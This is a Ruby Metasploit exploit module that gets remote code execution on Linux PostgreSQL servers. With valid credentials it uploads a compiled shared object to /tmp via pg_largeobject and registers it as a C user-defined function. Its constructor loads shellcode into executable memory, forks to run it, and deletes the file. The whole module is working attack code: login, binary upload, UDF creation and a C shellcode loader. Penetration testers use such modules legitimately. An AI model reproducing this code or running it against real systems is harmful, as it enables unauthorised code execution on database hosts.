###
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/postgres'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Postgres
	include Msf::Auxiliary::Report

	# Creates an instance of this module.
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PostgreSQL for Linux Payload Execution',
			'Description'    => %q{
				On some default Linux installations of PostgreSQL, the
				postgres service account may write to the /tmp directory, and
				may source UDF Shared Libraries's from there as well, allowing
				execution of arbitrary code.

				This module compiles a Linux shared object file, uploads it to
				the target host via the UPDATE pg_largeobject method of binary
				injection, and creates a UDF (user defined function) from that
				shared object. Because the payload is run as the shared object's
				constructor, it does not need to conform to specific Postgres
				API versions.
			},
			'Author'         =>
			[
				'midnitesnake', # this Metasploit module
				'egypt',        # on-the-fly compiled .so technique
				'todb'          # original windows module this is based on
			],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
				],
			'Platform'       => 'linux',
			'Payload'        =>
				{
					'Space'    => 65535,
					'DisableNops'  => true,
				},
			'Targets'        =>
				[
					[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
					[ 'Linux x86_64',    { 'Arch' => ARCH_X86_64 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 05 2007'

			))

		deregister_options('SQL', 'RETURN_ROWSET')
	end

	# Buncha stuff to make typing easier.
	def username; datastore['USERNAME']; end
	def password; datastore['PASSWORD']; end
	def database; datastore['DATABASE']; end
	def rhost; datastore['rhost']; end
	def rport; datastore['rport']; end
	def verbose; datastore['VERBOSE']; end
	def bits; datastore['BITS'];end

	def execute_command(cmd, opts)
		postgres_sys_exec(cmd)
	end

	def exploit
		version = do_login(username,password,database)
		case version
		when :noauth; print_error "Authentication failed."; return
		when :noconn; print_error "Connection failed."; return
		else
			print_status("#{rhost}:#{rport} - #{version}")
		end

		fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
		tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)

		unless tbl && fld && so && oid
			print_error "Could not upload the UDF SO"
			return
		end

		print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
		begin
			func_name = Rex::Text.rand_text_alpha(10)
			postgres_query(
				"create or replace function pg_temp.#{func_name}()"+
				" returns void as '#{so}','#{func_name}'"+
				" language 'C' strict immutable"
			)
		rescue
		end
		postgres_logout if @postgres_conn

	end


	# Authenticate to the postgres server.
	#
	# Returns the version from #postgres_fingerprint
	def do_login(user=nil,pass=nil,database=nil)
		begin
			password = pass || postgres_password
			vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
			result = postgres_fingerprint(
				:db => database,
				:username => user,
				:password => password
			)
			if result[:auth]
				report_service(
					:host => rhost,
					:port => rport,
					:name => "postgres",
					:info => result.values.first
				)
				return result[:auth]
			else
				return :noauth
			end
		rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
			return :noconn
		end
	end


	def payload_so(filename)
		shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
		#shellcode = "\\xcc"

		c = %Q^
			int _exit(int);
			int printf(const char*, ...);
			int perror(const char*);
			void *mmap(int, int, int, int, int, int);
			void *memcpy(void *, const void *, int);
			int mprotect(void *, int, int);
			int fork();
			int unlink(const char *pathname);

			#define MAP_PRIVATE 2
			#define MAP_ANONYMOUS 32
			#define PROT_READ 1
			#define PROT_WRITE 2
			#define PROT_EXEC 4

			#define PAGESIZE 0x1000

			char shellcode[] = "#{shellcode}";

			void run_payload(void) __attribute__((constructor));

			void run_payload(void)
			{
				int (*fp)();
				fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);

				memcpy(fp, shellcode, sizeof(shellcode));
				if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
					_exit(1);
				}
				if (!fork()) {
					fp();
				}

				unlink("#{filename}");
				return;
			}

		^

		cpu = case target_arch.first
			when ARCH_X86; Metasm::Ia32.new
			when ARCH_X86_64; Metasm::X86_64.new
			end
		payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")

		so_file = payload_so.encode_string(:lib)

		so_file
	end
end
